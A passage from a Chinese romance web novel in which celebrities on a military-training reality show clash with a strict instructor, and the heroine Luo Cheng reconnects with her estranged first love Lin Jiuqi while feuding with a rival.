徐冷:“等你上了战场,你也告诉敌人先别进攻,你拉肚子了,先等等你。”
詹江已嘟囔:“我这不是没上战场吗。”
“入列!”徐冷郑重其事道:“我再强调最后一遍,只要哨声响,无论你当下在干什么,吃饭,睡觉,甚至是上厕所,全部都给我停下!必须在两分钟之内整装集合!”
徐冷:“这次你们全体集合一共用了十三分钟零九秒,念在你们刚来不懂规矩,这是第一次也是最后一次!”
徐冷:“杨勉。”
杨勉:“到!”
徐冷:“开始吧。”
杨勉面朝身后的几位教官,“向左转,齐步走。”
眼瞧着杨勉带着人就上了楼,所有人望着他们分别进到了不同的宿舍里。
詹江已忍不住开口问:“徐教官,这是什么意思啊?”
徐冷冷眼看了过去。
詹江已:“报告!”
徐冷:“说。”
詹江已:“徐教官,为什么要进我们的房间?”
徐冷:“检查宿舍。”
周围其他的人听闻纷纷躁动起来。
“啊?为什么啊?”
“检查宿舍干什么啊?”
脑里一闪而过白天自己偷藏的东西,洛澄敛了敛眸。
糟糕……
这徐教官这么严格,要是被他发现自己没遵守规矩,指不定会怎么惩罚她。
洛澄眼里有一瞬的惶恐,“徐教官,让男教官进我们的宿舍,这不妥吧。”
徐冷:“放心,我们也有女教官。”
十分钟后,杨勉和几位教官下了楼,他们手里都拿着搜查出来的违规物品。
“这么多。”徐冷一眼瞅过去,“今天白天,都偷藏着是吧!”
徐冷挨个看着,他的步伐最后停在一位女教官的跟前,旋即从她手中拿过一个极丑无比的娃娃。
是个Q版男孩的娃娃,有巴掌大小,脑袋斜斜地下垂着,仿佛马上就要崩炸线脱落了,缺了一只胳膊,两条腿也一长一短,就连身上缝着的小衣服也破破烂烂的,在他的背后还缝着两个英文字母——NS。
看起来十分诡异。
洛澄呼吸一滞。
只听他冷不丁地问:“这是谁的?”
8. 第8章
“这是谁的?”
“报告!徐教官,”洛澄呼吸变得有些沉重,“是我的。”
“我白天的时候有没有说过,只能留下生活用品。”徐冷拧着眉,十分不悦,“这些东西,我没收了。”
洛澄一时慌了神,“徐教官,这个东西对我来说很重要,可以还给我吗?”
其他人也纷纷闹腾起来。
“徐教官,这个胸针是我男朋友送我的,不能扔。”
“徐教官那个项链也是别人送我的。”
徐冷:“喊什么喊,又不会给你们扔了!训练结束后会还给你们。”
“这个又是谁的?”徐冷手上拿着一条项链,上面挂着一枚椭圆形的圆环。
洛澄睁大了眼睛,她猛一转头看向站在她右后方的林久期。
他缓缓开口说:“报告,是我的。”
“行,你们四个人把我的话当耳旁风是吧。”
徐冷气的眉毛都竖了起来,“明早九点,训练场集合,都不准迟到。”
“其余的人解散,你们四个,跟我来。”
洛澄眼睁睁看着那几位教官把搜来的东西拿走,无奈,她只好跟着徐冷。
四人来到操场旁的公共卫生间前,都不明徐冷此番何以。
阴云密布,夜间的妖风更像是被幽灵渗透,吹打着四周的枯树枝发出窸窣声响,如鬼怪哭泣,凄凉且幽深。
黑暗笼罩下连月亮都被掩藏,洛澄咬咬牙,总不能让他们在这大半夜的罚跑吧。
好在,徐冷的话打消了她不好的预感。
“你们四个,把厕所打扫了。不打扫干净不准睡觉!”
比起在阴森的操场跑步,洛澄更愿意在卫生间里做劳动。
虽然好像,听上去并不雅观。
等徐冷走后,旁边两位女艺人一副痛苦面具样。
“有没有搞错啊,打扫厕所?当我是谁啊!”
“他疯了吧!这么脏!”
这个时间没有训练也没有特殊任务,自然也就没有导演组的人跟着。
没人拍摄记录,她们也懒得维持镜头前的人设,连厕所的门都没进来一步。
其中一位捏着鼻子,“要打扫你们打扫,我才不干!”
说罢她扭头就走,另一位女艺人跟着她,“我也不干!”
活还没开始,就只剩下了洛澄和林久期两人。
洛澄进到卫生间内,空间不大,男左女右,打扫的道具被放置在公共区域的角落,洛澄选了一把拖布往女厕所走。
白天的训练导致她现在腰酸背痛,她只想抓紧时间打扫完,好回去休息。
女卫生间并不算脏,平常时间也会有排班的士兵轮流打扫。
今天显然是有士兵来值日过,隔层间的垃圾桶都是干净的。
看来这个徐教官只是想给他们一点教训,并非故意为难,表面上看起来凶巴巴的,生人勿进的模样,背地里也挺替人找想的。
洛澄拖了地,没一会儿便打扫完了。
她走出女厕,男厕里传来动静,林久期还在里面,她刚迈进去一步,又收了回去。
会不会不太好?
她只是帮忙打扫。
嗯,对。
想罢,洛澄走了进去。
洛澄怔怔地站了几秒,林久期并不幸运,男厕里散着一股难闻的熏臭味,地面上也满是污垢,让人无从下脚。
林久期正卖力拖地,可惜了,摄影师不在,如果现在的画面能被记录下来,指不定能赚不少流量。
顶流男团TheOne队长怒刷厕所。
洛澄连热搜标题都不自觉地想好了。
洛澄没忍住,闷声一笑。
仅有两人的空间里针落可闻,林久期捕捉到了这细微之音,他抬眸望来。
洛澄敛了敛唇,笑意极短,她弯腰拾起地上的马桶刷,怕他发觉她方才猥琐的想法,迅速扯开话题,“我来帮忙。”
林久期不在意她是在笑什么,只是温吞道:“你早些回去吧,我来就好。”
洛澄调侃了句:“没事,男女搭配干活不累。”
林久期闻言,从她手里拿过马桶刷,随后把一块抹布和白色塑胶手递给她,“那你负责擦水池吧。”
“好。”
手套是林久期从自己手上现摘下来的,天气冷,水管里的水冰得刺骨,洛澄戴上后自然缓和了不少。
洛澄的余光能瞅见一旁的林久期,她擦着水池台,脑袋里不由想起刚才检查宿舍时,他被搜出来的那条项链。
项链上挂着的圆环其实是戒指,而戒指是她高三那年,自己手工做了整整一周,送给林久期的生日礼物。
它就算变了形,她也能认得出来。
“林久期。”洛澄实在想不通,“既然你要装不认识我,那你为什么还要戴着那枚戒指?”
林久期没回应。
“怎么不说话了?”难得有两人独处的机会,她一定要问清楚,可林久期默不作声的样,洛澄看着实在恼火,“心虚了吗?”
洛澄走到他身侧,一把从他手里抢过拖把,拖把杆重重打在了林久期的脸上。
洛澄表情一僵,赶忙道:“对不起我不是故意的,你没事吧?”
林久期偏头躲过她想触摸的手,他眉心浅浅皱起,声音染上凉意,“洛小姐,我应该没有做什么出格的事惹到你吧?”
洛澄迟疑一秒,“你说什么?”
林久期站在那,一束冷淡的月光洒在他身上,轮廓在昏暗的光晕下忽明忽暗,他语气平静,却有着淡淡的疏离,“对于你之前的行为,我只当做是粉丝的热情,不和你计较,但我希望你也不要太过分了。”
洛澄的脑袋嗡了一声,“所以对于你来说,我只是个麻烦,是吗?”
他眼神淡漠的没有任何多余的情愫,“我没这么说。”
“林久期!”洛澄眼眶一瞬间红了,成串的泪水涌出,“你以为你是谁啊,你凭什么这么说我!”
林久期愣在原地。
怎么哭了?
他刚才说话是不是有点过了?
他语气柔了下来,“你别哭了。”
手在身上摸索半天,也没找出一张纸来,看着她布满泪痕的脸,心底莫名的慌张不安。
这人怎么这么爱哭,见一次哭一次。
心里压抑许久的委屈在这一刻全盘爆发,洛澄努力地不断用手抹眼泪,可泪如洪水,她越是拼命,越是止不住。
她讨厌哭,她也不想哭!
她知道掉眼泪解决不了问题,可谁掉眼泪,是为了解决问题啊。
从高三毕业她生日那天开始,他一句话没说就凭空消失,到现在四年了,四年她才终于迈进娱乐圈的大门,终于见到他。
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>试镜不顺被人贬低的时候她没有哭,被人非礼被人欺负的时候她没有哭,摔了没有哭痛了也没有哭。
可他只是短短一句话,击碎了她心底最后一道防线。
他就好像是在说:你的所作所为打扰到我了,很烦,离我远点。
她是什么很贱的人吗?
为什么要这么说她啊……
她越哭越大声,林久期仿佛心脏揪成一团,两手也不知道放哪里好,浑身不自在,“是我说话重了,对不起,别哭了。”
洛澄吸了吸鼻子,努力想把眼泪憋回去,维持自己仅有的倔强和面子,“对不起有用,还要警察干嘛。”
林久期:“那你报警抓我吧。”
洛澄被逗笑了:“你真当我不敢啊。”
林久期不语,手伸进裤兜里,拿出一颗旺仔牛奶的糖递给她。
“……”洛澄抽泣着提醒:“这是厕所。”
但还是接过糖握在手里。
见她没哭了,林久期眼里含着连自己都未察觉的温柔缱绻。
洛澄纳纳地抬头望着他。
从和他重逢的那天开始,她时常在想,他已经不是曾经她认识的林久期了。
可有些时候,他好像又没变。
就像现在,他还是和以前一样,身上总是能变出糖来,虽然他从不爱吃糖。
“别哭了,十点了,打扫完回去休息了。”
洛澄噗嗤一声笑了出来。
嗯,还是和以前一样。
安慰人的话还是这么没水准。
-
黑沉沉的夜,寂静无比。
洛澄偶尔能听到沙沙作响的声音,不明物被光影投射在地面上,像是鬼影摇曳。
洛澄警惕张望四周,不自觉地揪着林久期的衣角,小碎步地跟在他背后。
林久期往后瞥了眼,脚步微不可查的放慢了些。
“九七。”
“嗯?”
“我不怕,你也别怕,我会保护你的。”
也不知道是不是在自己给自己打气,但洛澄说话时声音都在颤,可信度十分不高。
洛澄捏着衣角的手又紧了紧,林久期感受到了,他抿起一丝浅笑,“好,你保护我。”
从操场回到宿舍有一段距离。
大概走了十多分钟才到。
终于回来了。
洛澄心里重重地呼了口气。
两人上至二楼楼梯口,洛澄突然喊住他,“林久期。”
林久期欲往宿舍走的步伐停了下来,他转过身,见她不说话,他道:“你说。”
洛澄凝视着他。
他穿着最常规的绿色迷彩作训服,腰背挺直,面容俊朗,他眉眼里总是洋溢着浅淡笑意,散发着谦谦君子之气。
“没事,”洛澄弯了弯唇,“晚安。”
见到你,真好。
-
洛澄轻手轻脚回了宿舍,宿舍已经熄灯了,黑漆漆一片。
“洛学姐。”
洛澄从栏杆爬上床的脚险些一滑,幸亏她抓稳了,心脏差点被吓跳出来,她顺着声音看过去,郑巧儿瞪着大眼睛看她。
她压低声音,“你怎么还没睡?”
“我认床,睡不着。”
郑巧儿小声说:“洛学姐,今天徐教官从你那搜走的东西,是什么啊?看着还,挺吓人的。”
9. 第9章
2013年7月12日。
“上午8点06分,我市沪松东路发生一起连环车祸,造成两人死亡,十七人重伤……盐城电视台持续为您报道。”
客厅的电视机里正播报着早间新闻,洛澄从卫生间里出来恰好听到这一段。
她刷着牙,嘴里的泡沫从嘴角溢了出来,险些掉在地上,还好她眼疾手快用手兜住了,她折身回了卫生间。
听到开门声,洛澄走出来便看见洛于彬两手大包小包的提着。
“爸,你今天不用跑车吗?”
洛于彬在莫川县做着跑的士的生意有二十年了,长途短途都跑,偶尔帮客户拉拉货。
要说谁对整个盐城最熟,洛澄能自豪地拍着胸脯说:我爸。
“今天不是你生日嘛,休息一天。”洛于彬把买来的东西全都放在桌子上,从里面拿出一袋子的阳光玫瑰,“我刚从你王姨家买的,快,洗了吃,新鲜的很。”
洛澄眼睛一亮,提着就往厨房去。她向来最爱吃这阳光玫瑰了,可这水果搁在市区,要四五十一斤,贵的离谱。
她在盐城市读书住校,每个月的生活费不过几百,盐城的物价也比其他城市偏高,对于学生党来说实在承受不起。
好在王姨和洛于彬熟稔,经常帮着搬货运货,买水果也自然便宜不少。
对于她来说,最开心的就是放假回家了。
主打一个实现水果自由。
“死了两个啊,太造孽了。”
电视里还在放着车祸新闻,洛澄端着洗好的水果出来,听到洛于彬看着电视感慨。
她坐在沙发上,帮着一起摘菜,“爸你平常开车的时候开慢些,一定要注意安全,尤其是不能开在大车的后面。”
“放心,你老爹我是老司机了。”洛于彬说:“你问问小林什么时候到,我好提前烧水给你俩煮面吃。”
“我问了,”洛澄拿起桌上的手机一划,解锁进到了企鹅界面。
引入眼帘的是00:00时的一条十八秒语音,紧随其后的是上午08:14分洛澄回复的消息。
【等见了面,我就告诉你。】
洛澄那个时间段刚醒,听了语音后激动了整整三四分钟,等整理好紧张的情绪,马上就回复了消息,可对面的人迟迟未回。
10点20分的时候,洛澄又发送了两条信息过去。
【你到盐城了吗?】
【你开车来吗?路上注意安全,到了跟我说。】
昨天下午的时候林久期就告诉她,他今早从外地回盐城的飞机,今天会回来陪她过生日。
眼瞅着已经是中午十二点过了,对话框还是一点动静都没有。
洛于彬已经在厨房备好酌料了,“姌姌,你给小林打个电话,他不是早上的飞机吗,这会儿应该到盐城了。”
洛澄窝在沙发上,一边吃着阳光玫瑰,一边盯着界面上那条被转成文字的语音,眉眼笑弯成了月牙,嘴角都快咧到耳根了。
林久期的普通话很标准,文字的最后几个字清清楚楚地写着——
姌姌,生日快乐,还有,我喜欢你,你愿意做我的女朋友吗?
“你干嘛呢,给小林打电话了没?”
洛于彬从厨房出来就看到闺女可劲的傻笑,也不知道这手机上有什么有趣的,能乐成这样。
“哦,还没。”洛澄收敛起笑容,但那嘴角比AK还难压,她抿着唇试图不让自己笑出声,从沙发上爬起来,踩着拖鞋回了屋。
“对不起,您拨打的电话已关机……”
咦?
关机了?
林久期告诉过她,他偷买了一个手机,他的企鹅号和手机号都是背着经纪人偷偷注册的,所以也只能偷偷用。
但只要洛澄联系他,他也随时都会想办法接听或者回复。
关机,这还是头一次。
洛澄又尝试着拨过去。
还是关机。
洛澄有些纳闷,是有工作在身吗?
她没细想,从床头柜拔下充电器,回了客厅。
“爸,午饭不等他了,他应该还在忙。”
洛澄本以为等林久期忙完了,自然就会联系她的,因为他平常都是这样,就算当下没回复,他忙完后也会耐心跟她解释他去做了什么,包括她发的每一句话,他也会认真回复。
可一直到傍晚六点过,林久期还是一条消息都没有。
洛澄恰好追完一部电视剧,手机退回桌面上,瞅了眼时间,她眉头蹙了下。
洛于彬提着定做好的蛋糕从外面回来了,见屋内还是只有洛澄一人,问道:“小林呢,还没来吗?”
洛澄嗯了声,“还在忙吧。”
要不要再给他打个电话?
洛澄想了想,算了,还是先别打扰他工作了,工作要紧。
今天晚上要吃的菜,下午的时候洛澄就和洛于彬早早准备好了。
父女俩这会儿都窝在沙发上,一个看电视,一个玩手机。
盐城卫视又在报道关于今天早上车祸了,洛澄一边听着,一边鬼使神差地点开了微博。
这么严重的事故,微博上肯定也炸了锅,她突然很好奇事故的后续。
洛澄刚点进去,主页推送来的是来自ID入睡垃圾站的博主发的一条微博。
字眼醒目且刺眼地入了她的眼——
#林久期车祸。
#沪松东路连环车祸。
哥哥一定要平安无事!!!
“……”
一刹间,洛澄的脸宛如窗户纸似的煞白。
林久期,车祸……
她几乎来不及思考,以最快的速度点进这条话题。
今日阅读量已经达到了7639万,讨论4191万。
洛澄手指颤抖着迅速往下滑,直到看见一条发表的微博下附了照片。
立即点开。
紧接着,洛澄的胸口闷的透不过气,恍若一道雷雾,把她心里最后一丝“这是假的”的想法炸的支离破碎。
照片是沪松东路的救援现场,以及,林久期被抬上救护车的画面。
ID吃瓜找哥,配文:【号外号外,最新车祸前线照片,TheOne队长林久期车祸照片,我还有视频,有需要的可以私信戳我。】
像是他博人眼球的噱头。
洛澄近乎失声:“爸,我要去盐城!”
“去盐城干什……”洛于彬话都没说完,他一扭头,洛澄苍白着脸颊,泪流不止,“姌姌你怎么了,好端端的怎么哭了?!”
洛于彬急忙扯纸巾给她擦拭。
洛澄泛白的嘴唇止不住地哆嗦着,“爸,送我去盐城,九七他出事了!”
等洛于彬开车赶到盐城的沪松东路时,现场已经被清理过了。
他们又找周围的门店打听伤患都送去了哪家医院,可无人知晓。
洛于彬拍着女儿的肩膀,表情凝重,“姌姌,会不会是你看错了,出车祸的不是小林。”
洛澄垂着眼,盯着前方公路地面因车祸而留下的划痕。
她也希望是自己看错了。
可她又怎么会把林久期的脸认错?
洛澄一遍又一遍翻看着微博,试图从里面的蛛丝马迹中找寻林久期被送到哪家医院的信息。
她还去私信了“吃瓜找哥”。
【你有林久期在哪家医院治疗的消息吗?】
吃瓜找哥:【这我不知道,但我有视频,你要不,V我50就能获得。】
洛澄真的加了好友,想都没想就转去了50块钱。可换来的,不过就是用一堆照片做成的幻灯片。
等再去找那人时,这位吃瓜找哥已经把好友删了。
肯定还有其他办法的,肯定还有的……
她重复着告诉自己别慌,别紧张,林久期肯定没事的。
狂风席卷,红色的塑料袋被风裹挟着从洛澄的面前吹飞,洛澄的视线下意识地跟随着它,它最后挂在了路边的树枝上。
洛澄的视线往下,正要收回时,她眉宇一拧,下一秒她拔腿跑了过去。
一个Q版男孩娃娃的脑袋,孤零零地躺在泥土上,它四肢残缺的像是被五马分尸了。
洛澄跪跌在了地上,小心翼翼地拾起娃娃,她捧在手心里,大概静默了两分钟。
尔后,她不可控制地大哭起来。
……
洛澄猛地从床上惊坐起身。
汗水浸湿了后背一
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大片,她喘着粗气,只能听到自己的心跳声,她四下环顾了片刻,脸上的紧张才逐渐消散。
其余三人还在入睡,洛澄瞟了眼白墙上的时钟,才6点过,距离8点训练还有一个多小时。
她重新躺回床上,全然没了困意。
满脑子都是刚才梦里的画面。这四年她时常能梦见林久期出事那天的情景。
从那之后,她就再也联系不上林久期,后来微博上传来他出院康复的消息,又到他开始重新工作。
这期间她打过电话,始终关机,也发过很多信息,可他,从未搭理。
她也去过盛兴传媒想找他,不过每次都被当做是粉丝,拦在楼下。
如果那天他不回盐城就好了,如果她不过生日就好了。
自责的漩涡似无底洞,是无止尽的折磨。
洛澄想起那被徐教官没收走的娃娃。
那个玩偶其实是一对,在初三的时候,她和林久期亲手按照对方的模样做出来又送给对方的。
林久期就一直随身携带在了身上。
当时做玩偶她突发奇想,为了证明专属性,她刻意在玩偶背后的小衣服上缝了NS两个字母。
NineSeven.
九七的意思。
但林久期出车祸后被她在事故现场捡到了,便拿回家缝缝补补,现在成了她随身携带的专属物。
-
早上八点,军营基地训练场。
今天男女生被单独分成了两组,训练的项目也各不同。
男生第一项就是晨跑十圈。
而女生则是仰卧起坐和俯卧撑。
郑巧儿因为身体素质太差,中途晕倒了被送去了医务室。
有人暗地里羡慕,他们也想去医务室!
女生比男生的训练提前结束。
临走时,洛澄看了一眼远处跑完十圈操场,又被喊做俯卧撑的一群男艺人。
林久期也在其中,隔着太远,她看不大清他的脸,只能看到他做的俯卧撑,极其标准。
“洛澄,你今天,”赵芮情笑了下,“真有趣。”
洛澄被她这话说的一头雾水。
大清八早的,这颠婆又发什么疯?
洛澄懒得理会她,径直往食堂走。
食堂这会的人不算多,只有刚解散的一班女生。
谢彤因为外婆过世,请假外出了,而郑巧儿又在医务室休息。
她和其他艺人不熟,也没有想社交的打算,所以她一个人端着餐盘找了某个空位坐下吃饭。
不远处的几位女艺人时不时地往洛澄这边瞄,小声交谈着,也不知道背地里在说些什么。
洛澄也没兴趣知道别人都怎么嚼舌根的,她很快吃完饭,拿着餐盘起身离开。
二班男艺人也训练结束了,三五个的结伴走进食堂。
但每每与洛澄擦肩而过时,都有人盯着她窃窃私语。
“……”
她脸上是有什么脏东西?
洛澄下意识抬手摸了摸自己的脸。
洛澄从收餐台往门口走,一眼就看见了前面背对着她坐的林久期。
他背影俊逸如竹,很显眼,也很好分辨。
忽而想起今早的梦,这会儿洛澄还能感受到心脏隐隐作痛,身体也不知名的有些难受。
她下意识地加快步伐速度。
肯定是没睡好,还是赶紧去医务室看望郑巧儿,然后回宿舍午休吧。
就在洛澄刚刚路过林久期那桌,才走出去两步,只听身后有人站起身来。
随即,洛澄被一股力量拉住,她还没反应过来,一件作训服外套系在了她的腰上。
洛澄扭头,对上了林久期那双深棕色的眼睛。
她的目光不经意瞥向她刚才坐的位子,鲜红一片,这才反应过来究竟是怎么一回事。
旁边没品的男艺人啃着鸡腿,满嘴流油地嘲笑:“这是什么新型画地图方式啊,真独特。”
“……”
洛澄的脸瞬间涨红,她瞪向说话的男人。
她还未来得及开口,身旁林久期脸上含着浅笑,笑容却不达眼底,夹杂着些许寒意。
“你的镜面唇釉,也不赖。”
10. 第10章
男艺人啧了声,赶忙别过脸去,拿纸巾擦拭自己油光锃亮的嘴。
洛澄盯着林久期看恍了神。
她终于知道,今天一天为什么大家都在看她了,原来都是在看她笑话。
却没有人出面提醒她。
这一刻,尘封的记忆像是被打碎了封印,涌入洛澄的脑海里——
初一的时候,洛澄第一次来例假,她当时穿着校服,裤子染红了一大片,她走在路上总是有人盯着她的背后看,还有嘲笑声。
她一开始也是没发觉,直到她回班上。
林久期坐在靠窗的位子,正在写作业。她从旁路过,白玉的手腕忽而被人抓住。
她还没回过神,林久期脱下自己的校服,围在了她的腰上。
……
洛澄睫毛轻颤,泪水在眼眶里打转。
见她咬着下唇,强忍着不哭的模样,林久期蹙了下眉。
怎么又哭了?
林久期安慰的话都还没说出口,旁边突然冒出一个摄影师,举着摄像机就对着他俩一顿狂拍。
洛澄迅速背过身去,不愿意面对镜头,眼泪硬生生憋了回去。
林久期身子微微斜着,向是把她护在身后,她不敢多想,兴许是自己想多了。
詹江已这时走了过来,伸手挡住镜头,“别拍了,这段不准播啊。”
等摄影师走后,洛澄闭了闭眼,压下心底的难过,又恢复了一贯的平静,“谢谢,衣服我一会儿还你。”
看着洛澄纤瘦的背影。
詹江已捣了他一眼,“久期,你怎么还把美人惹哭了呢,一点都不绅士,也不知道哄哄。”
“……”他这次好像没说错话吧?
林久期坐回位子上,午饭才刚吃两口,轻声道:“那你去哄。”
-
洛澄赶回宿舍,郑巧儿已经从医务室回来了。
洛澄:“好些了吗?”
郑巧儿笑盈盈道:“好多了学姐。”
“那就好。”
洛澄翻箱倒柜了半天,才发现自己并没有带卫生巾。
郑巧儿瞅见洛澄腰上的衣服,拉开自己的柜子,从白色塑料袋里拿出一包,递到她面前,“洛学姐,你是在找这个吗?”
“谢谢。”
洛澄拿着跑去廊道尽头的公共卫生间,她进到隔间里,解下腰上的外套,霍然看见内衬里沾上了暗红色的血液,已经干涸了。
完了,他可怎么穿?
洛澄飞快回了宿舍,拿了自己的洗衣液又折返到卫生间。
洛澄足足洗了一中午,洗的时间不长,长的是还要拿吹风机吹干。
下午两点集合之前,她站在自己宿舍门口,一直留意仅仅只隔着楼梯道的那间204宿舍。
看见有人从里面出来后,她马上拿着衣服过去。
敲了敲门。
开门的是詹江已。
詹江已眉尾一扬,语气悠悠地,“美人,找我有什么事吗?”
詹江已挡住了洛澄的视线,看不清宿舍内的情况,她道:“我找林久期。”
居然不是找他。
詹江已懒洋洋地回头,“久期,有人找你。”
闻声几秒后,洛澄听到走来的脚步声。
林久期和詹江已错开位,詹江已进屋,林久期来到门口。
洛澄顺势把手里叠整齐的外套给他,“谢谢。”
林久期接过手时,上面不知名品牌的洗衣液清淡香味,萦绕在鼻息间,他一顿,旋即慢条斯理道:“不客气。”
-
下午照常是些简单的体能测试。
但高强度的训练量让不少人浑身酸痛,连走路都是一瘸一拐地,照这样下去,总有一天身体得散架。
洛澄听到路过的人在偷偷埋怨,她拿着盆从洗漱间往外走,恰好和赵芮情打了个照面。
两人默契地忽视了对方。
赵芮情进来,听到洗漱间的两个女生正讨论着什么。
“我今天亲眼看到洛澄去了林久期的宿舍了。”
“她是不是想攀林久期这个高枝啊,我跟你说,我昨晚起夜,在走廊上看到她拉着林久期,两人大晚上一起从外面回来的。”
“昨晚?昨天她和林久期不是被徐教官带走了吗,听说是被罚扫厕所去了。”
“我有两个室友跟他们一起的,她俩九点不到就回来了,林久期和洛澄可是快十一点才回来,两个人打扫完之后去哪里私会了,这谁知道啊。”
“你们说的是真的?”
两个女生全然没注意进来的赵芮情,吓了一跳。
“赵,赵老师。”
赵芮情凶巴巴地瞪着两人,“问你们话呢!洛澄真的去找林久期了?”
其中一位女生唯唯诺诺道:“是,是的。”
赵芮情眼中浮现一抹怒色,“他们都说什么了?”
女生支支吾吾:“不,不知道。”
狂风怒嚎,像辫子似的地抽打在阳台门上,发出一声又一声撞击墙壁的闷响。
宿舍里只有洛澄一人,郑巧儿去洗澡了。
洛澄拉关上阳台的门,才隔绝了外面凶猛的风势。
此时,有人从外面推开宿舍门。
赵芮情大步迈到洛澄跟前。
“啪——”
洛澄脑袋有几秒钟的晕眩,她眉梢紧蹙,反手就是一巴掌扇了回去。
赵芮情抬起手,洛澄抓住她的手腕,瞳色瞬间冷了下去,“大晚上你开始发癫了是吧。”
赵芮情气吁吁道:“你昨天晚上跟久期干什么去了,你今天是不是还去宿舍找他了?!”
洛澄甩开她的手,愠怒道:“关你什么事。”
赵芮情拽住她的胳膊,不依不饶道:“你凭什么去找他,我警告你,离他远点!”
“你真是搞笑。”洛澄挣脱开,秀丽的脸上有着不匹配的凶狠神色,“赵芮情,你是以什么身份跟我说这些话?你以为你是他的谁?”
说罢,洛澄欲往门口走,赵芮情挡在她的面前,“你去哪里,你要去找林久期是不是?!”
洛澄的视线从她脸上扫过,她神色慌张,紧绷着下颚,像是在刻意隐瞒着某种情绪。
“你在紧张什么?”
赵芮情脚步不自觉地后退一步,洛澄步步紧逼,“我早就觉得奇怪了,赵芮情,是你跟九七说了什么,还是你做了什么,为什么他会变成现在这个样子?”
林久期对她的态度,就像是对一个素未谋面的陌生人。
这一反常态的样子,她越想越觉得不对劲。
“我能对他做什么。”赵芮情扬了扬下巴,讽刺道:“洛澄,很不是滋味吧,曾经关系那么好的人,现在对你冷眼相待,很难过吧。”
“林久期早就不喜欢你了,你再怎么缠着他,都没用,你最好识趣的离他远点,别自讨苦吃。”
赵芮情说话时语调上扬,十分得意,“哦,对了,你不知道吧,这么多年,我一直都和他在一起。”
“这么多年过去,你还是没变。”洛澄并不在乎她的挑衅,冷笑一声,“还是这么喜欢插足别人的感情,是吧,小三姐。”
赵芮情和她是同学,从初一开始到高中都是同班,都就读盐城市一中。
初中的时候,赵芮情就抢了她闺蜜乔媛媛的男朋友,这件事当时闹得沸沸扬扬。
后来上了高中,赵芮情又对林久期喜欢的不得了。
即使她和林久期是大家公认的一对,两人每天形影不离,但赵芮情三年以来,总是处心积虑地想插一脚。
一想起赵芮情曾经做的那些恶心事,洛澄现在都有点倒胃。
赵芮情怒气翻涌直上,脸上气得微微扭曲,“你胡说八道什么!”
郑巧儿从外面回
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到宿舍。
一进门就瞅见屋内的两人面面相觑,气氛僵硬。
“你们俩……”
郑巧儿走近一看,两人的脸上都有很明显的巴掌印,赵芮情脸上的更红些,但洛澄的也好不到哪去,白皙的脸上有三道明显的划痕,溢出了血。
“你们这是干嘛啊,有什么事不能坐下来好好说吗!”
-
翌日。
今天训练内容是在教室里授课。
洛澄走进教室前压了压头上的帽子,可伤口在右边脸颊上,根本挡不住,有些掩耳盗铃。
教室内的位置已经被占了大半,只剩下前面几排的空位。
像极了大学上课,同学们提早去教室都喜欢抢后排。
洛澄找了个靠窗的第三排。
坐下后,洛澄撑着下颚,环视着整间教室。
除了他们艺人新兵班以外,还有本就是军营里新兵班的人,整个教室大约有五十多号人。
陆陆续续地,位置也被坐满了。
林久期是后面才来的。
位子还剩下洛澄左手边的一个和门边第四排的一个。
詹江已不想靠前,他果断选择了门边的。
虽然三四排没什么区别,可心理上却安慰不少。
林久期自然往她这边而来。
授课时帽子是不允许戴的,洛澄的帽子规整地放在桌子的右上角。
她扎着丸子头,留海都被梳了上去,只有几缕碎发散落。林久期的目光定格在她的鹅蛋脸上。
那三道结了痂的划痕,在白净的脸庞上实在显眼。
洛澄侧着头和郑巧儿在说话,没看他,可注意力从他进门的那一刻起就一直在他身上。
她清楚感受到林久期入座在与她隔着过道的那个座位上。
“你猜我刚才发现了什么?”
郑巧儿洋洋得意道:“我刚去卫生间回来的时候走错教室了,我进的那间教室里面,放着所有我们被没收的东西。”
“我的零食都在里面。”
洛澄:“哪间教室?”
郑巧儿:“就隔壁,好像是305。”
两人没聊几句,授课的教官便进了教室。
一上午的课程长达有四小时。
虽然中途有休息,可不少人都打着哈欠,困倦不已。
包括洛澄,和郑巧儿吃完午饭后就匆匆往宿舍赶。
下午还要继续上课,不补个觉,下午铁定打瞌睡。
两人往二楼走时,二楼楼梯口处,詹江已靠着栏杆,冲着走上来的洛澄吹了声口哨。
“美人。”
郑巧儿和他互相打了个招呼后,她识趣地先一步回了宿舍。
詹江已拿着的药膏和创可贴递给洛澄,“不处理一下,可就不好看咯。”
洛澄第一反应,“林久期给你的?”
“他?”詹江已挑了挑眉,拖着腔调说:“他可没我会疼人。”
-
下午两点,授课继续。
郑巧儿起晚了,和洛澄去到教室时只剩下最后两个一前一后的位子。
阳光从玻璃窗中布满了桌上,暖洋洋的,让本就枯燥的课程又平添了几分催眠。
郑巧儿坐在前一桌,她脑袋一晃一晃的,实在是困得厉害。
不行,她得找点乐子,清醒清醒。
郑巧儿撕下笔记本上的一小页,迅速在上面写了几个字后,揉成一团,悄咪咪地用手伸到背后,丢在洛澄的桌上。
洛澄见状,她伸手去拿。
而就在这时,徐冷从讲台上走下,最后站定在了她的桌边。
“……”
倒霉。
逮个正着。
徐冷从她手里拿走纸团,他展开一看,上面写着一行字,徐冷边看边念了出来。
“徐教官长得好像申公豹。”①
11. 第11章
徐冷:“申公豹是什么?”
洛澄没敢说话。
坐在不远处的詹江已笑着说:“徐教官,你没看过动画片哪吒吗?”
徐冷睇了他一眼,“我是在问你吗?”
徐冷看着洛澄,“谁写的?”
“说话!”
坐在前面的郑巧儿被吓一哆嗦。
洛澄抿了抿唇,道:“报告教官,我写的。”
徐冷:“这是写了传给谁的?”
洛澄:“不传给谁,写着玩的。”
“好,自己揽是吧。”徐冷走回讲台,手里的纸团扔进垃圾桶里,“起立!”
气氛凝固到了极点,徐冷看起来是真生气了,在场的人都屏住呼吸,生怕这个锅突然扣在自己的头上,被连累。
“操场二十圈,跑不完不准吃饭!”
“是。”
随后,在所有人的注视下,洛澄走出教室。
操场就在教室背后,透过窗户一眼就能看到。
林久期坐在窗边,眼神不由自主地往外瞧了瞧,她一圈又一圈,速度愈来愈慢,脚步愈来愈沉。
下午的课一直上到了六点。
詹江已起身,从后面走到林久期跟前,拍了拍他的肩膀,“走啊久期,吃饭去。”
“你去吧,我有点事要出去一趟。”林久期把自己的笔记本拿给他,“麻烦你帮我带回去一下。”
詹江已随口问了句,“你去哪儿?”
“工作的事情。对了,”林久期从衣兜里拿出某样东西塞在詹江已手里,“这个给她。”
林久期的视线朝某个方向看了眼,说完便先行离开了。
黄昏时分,天边的红日西坠,夜晚正式拉开了序幕。
詹江已吃完饭从食堂出来,操场上还能瞧见少女跑步的身影,她步履蹒跚,看上去马上就会摔倒。
“她怎么还在跑?”
